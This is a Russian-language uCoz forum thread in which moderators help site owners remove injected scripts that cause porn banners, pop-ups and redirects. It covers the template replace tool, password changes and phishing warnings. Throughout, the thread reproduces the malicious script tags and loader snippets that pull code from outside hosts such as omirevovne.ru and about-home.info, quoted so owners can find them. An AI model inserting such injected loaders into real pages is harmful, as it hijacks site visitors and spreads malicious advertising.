Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08 01 Окт 2013
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Diving7539
Репутация: 0

Сообщение # 121 | 22:19:00 27 Мар 2014
Адрес сайта: http://pyr.ucoz.ru/
Не заходил на сайт около 1.5. месяца.
Суть проблемы: удалилось меню сайта, появляется реклама на сайте, которую никак не убрать. Причем явно не укозовского характера.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 122 | 22:34:47 27 Мар 2014
Diving7539, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете скрипт

Код
<script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script>
поле на что заменить оставляете пустым и производите замену во всех модулях.

далее открываете блок меню на редактирование и заменяете скрипт

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>


на

$SMENU_1$

после очистки смените пароль uid профиля инструкция тут //forum.ucoz.ru/forum/45-52299-1
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Laros78
Сообщений: 1
Репутация: 0

Сообщение # 123 | 11:20:26 28 Мар 2014
На моём сайте: http://handmadegallery.ucoz.ru/ в мини-чате постоянно идёт какая-то переписка и пишется какой-то спам. Удаляю весь этот спам при каждом посещении сайта, а он появляется снова. Как избавиться от этого?
AngeLina_
Сообщений: 12
Репутация: 3

Сообщение # 124 | 12:23:16 28 Мар 2014
Доброго времени суток.
Проблема следующая:
Сайт: residentevilmy.ucoz.ru
Стала регулярно появляться вот такая вот фигня (пока специально не убирала). После исправления через какое-то время все приходит в такой же вид. Пароли администраторам меняли.

Буду благодарна за помощь.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 125 | 12:29:22 28 Мар 2014
AngeLina_, пароль uID-профиля, который является владельцем сайта меняли?

Удалите код 
Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://goo.gl/GoKWJq'></script>
AngeLina_
Сообщений: 12
Репутация: 3

Сообщение # 126 | 12:36:35 28 Мар 2014
$Vladimir$, на сайте отключены uID пользователи, только локальные, правда не знаю, имеет ли это отношение... Реклама появляется вне зависимости от того, заходит ли создатель ресурса непосредственно на сайт. Владелец сайта в панель не заходит, на сайте появляется редко. Пароль менять говорила, однако на счет выполнения моей просьбы не уверена на 100%.

На счет кода - пишет, что не найдено ничего. Пробовала и в глобальных блоках, в пда-варианте и виде материалов.
Сообщение отредактировал AngeLina_ - Пятница, 28 Мар 2014, 12:42:10
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 127 | 12:47:51 28 Мар 2014
AngeLina_, первый контейнер проверяйте, но лучше восстановите стандартный шаблон для первого и второго контейнера.

Подозреваю что аккаунт http://residentevilmy.ucoz.ru/index/8-1 скомпрометирован.
AngeLina_
Сообщений: 12
Репутация: 3

Сообщение # 128 | 13:21:24 28 Мар 2014
Ну восстановить сайта не проблема, главное что бы заново не появлялось, а в моем случае я уже просто развожу руками. И сайт проверяла на наличие вышеуказанных скриптов, пароли меняла.

Попробую разжаловать администратора сайта, пусть новый аккаунт создает.
Сидорович
Сообщений: 3
Репутация: 0

Сообщение # 129 | 13:31:34 31 Мар 2014
Здравствуйте. У меня на странице (http://airgun-mg.ucoz.ru) после выходных появились банеры (при нажатии отпровляет на http://www.popunder.ru). Как от этого
избавится?
Еще появилось вот это
Прикрепления: 7826074.jpg (154.3 Kb)
Сообщение отредактировал Сидорович - Понедельник, 31 Мар 2014, 13:33:17
Администратор9338
Сообщений: 4
Репутация: 0

Сообщение # 130 | 10:03:18 02 Апр 2014
Доброго всем дня!!!!! На сайте teplosarakta56.ucoz.ru и kommunservis.ucoz.ru появилась реклама, как только его закрываешь, открываются окна невозможно ничего посмотреть, или открываешь страницу - идет переход на
другой сторонний сайт. Было раскрывающееся меню, там изменился код на вот этот скрипт <script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>; , после чего меню соответственно не раскрывается. При закрытии рекламы идет переброс на сайт http://thepiratetrader.com/px/ru/h1?cqs=46lbBKIEMZ%2BP7JrxY%2FIELHVr0qKY1RZP0krAWshCcA3uzTub%2BN%2BCVUutOBG1oskCy%2FeQEWhF9fROtcadIm4J93SGFIWdcq66gTkUxzZFlVW8YicjWeuYVFAv6jz j7zHzmy5mVp9e%2FHdUcFVTdI5CWOzSxLy1wqaSMiL4EamVB5Q%3D&gr=4719 .Переброс происходит независимо как Я зашел (Админ или Гость). Также при редактировании "ШАПКИ" в конструкторе выходит сообщение "Вы входите в группу пользователей, которым запрещено совершать данное действие. По всем вопросам обращайтесь к администратору сайта." , скажите где убрать эту галочку. Побывал как вы советовали искать и заменять вышеуказанные скрипты, но ничего не находит и соответственно не заменяет. Заранее спасибо.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 131 | 10:18:09 02 Апр 2014
Администратор9338, для начала, смените ВСЕ пароли доступа.
Из Первого контейнера сайта teplosarakta56.ucoz.ru удаляйте код

Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Сайт "kommunservis.ucoz.ru" отключен за неактивность и будет удален навсегда через несколько дней.



Цитата Администратор9338 ()
скажите где убрать эту галочку


Ответ на данный вопрос ТУТ

P.S. Пользуйтесь поиском по форуму, на многие вопросы даны ответы.
Katimka
Сообщений: 4
Репутация: 0

Сообщение # 132 | 12:09:19 02 Апр 2014
Администратор9338, Все пароли сменил, код удаляется и заново там появляется после обновления страницы. Как быть?
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 133 | 12:27:55 02 Апр 2014
Katimka, удаляйте все скрипты из второго контейнера, блок Друзья сайта.

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://oqme.about-home.info' + '/?538449=JWwlI3czPT4yOjg1ImxgYWRoY2c';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://clck.ru/98oGG'></script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://oqme.about-home.info' + '/?548044=uPG4vuquoKOvp6Wov_H9_Pn1_vs';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Batyanya
Сообщений: 35
Репутация: 3
Уровень замечаний:

Сообщение # 134 | 09:15:24 11 Апр 2014
Здравствуйте. Снова вынужден
обратиться за помощью. У моего сайта http://mymuzon.ucoz.ru/ снова проблемы,постоянно висят сторонние баннеры, и открываются другие сайты параллельно моим.
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 135 | 09:34:48 11 Апр 2014
Batyanya, обращаю ваше внимание, вы нарушаете правила форума.

Цитата
  • Перед тем как что-то написать на форуме, рекомендуется просмотреть форум для знакомства с его тематикой и традициями, используя для этого поиск в правом верхнем углу форума.
  • Название создаваемой темы должно быть информативным и максимально четко отражать смысл проблемы. Заголовки тем: «Спасите», «Помогите»,
    «Нужна помощь!», «Вопрос», «Help Me», латиницей, капслоком или состоящие
    из одного слова являются нарушением.
  • Перед созданием новой темы убедитесь, что вы создаете её в форуме соответствующей тематики, а также постарайтесь убедиться в том, что
    данный вопрос не обсуждался ранее.


    • Из первого контейнера, блок "Форма входа", удалите код:
    Код
    <!-- <bc> --><script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>
    <script type="text/javascript">
       (function(w) {
       var script = document.createElement('script');
       var i = setInterval(function() {
       if (typeof w.document.body !== 'undefined') {
       script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
       w.document.body.appendChild(script);
       clearInterval(i);
       }
       }, 200);
    };)window);
    </script>
    <script type="text/javascript">
       (function(w) {
       var script = document.createElement('script');
       var i = setInterval(function() {
       if (typeof w.document.body !== 'undefined') {
       script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
       w.document.body.appendChild(script);
       clearInterval(i);
       }
       }, 200);
    };)window);
    </script><!-- </bc> -->


    Из второго контейнера, блок "Категории раздела", удалите код:

    
    Код
    <!-- <bc> --><script type="text/javascript">
         (function(w) {
         var script = document.createElement('script');
         var i = setInterval(function() {
         if (typeof w.document.body !== 'undefined') {
         script.src = 'http://oqme.about-home.info' + '/?538449=JWwlI3czPT4yOjg1ImxgYWRoY2c';
         w.document.body.appendChild(script);
         clearInterval(i);
         }
         }, 200);
    };)window);
    </script>
    <script language='javascript' charset='UTF-8' type='text/javascript' src='http://clck.ru/98oGG'></script>
    <script type="text/javascript">
         (function(w) {
         var script = document.createElement('script');
         var i = setInterval(function() {
         if (typeof w.document.body !== 'undefined') {
         script.src = 'http://oqme.about-home.info' + '/?548044=uPG4vuquoKOvp6Wov_H9_Pn1_vs';
         w.document.body.appendChild(script);
         clearInterval(i);
         }
         }, 200);
    };)window);
    </script><!-- </bc> -->


    Пожалуйста, смените пароль в панели управления сайтом, пароль uID профиля, а также пароли в ftp-клиенте.
    Пароли к административной панели — должны быть сложнее. Никогда не храните пароли в текстовом файле или в письмах на своем почтовом ящике.
    Не сохраняйте пароли в браузере или ftp-клиенте. Пароли должны быть длинными и сложными.
    Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
    Поиск: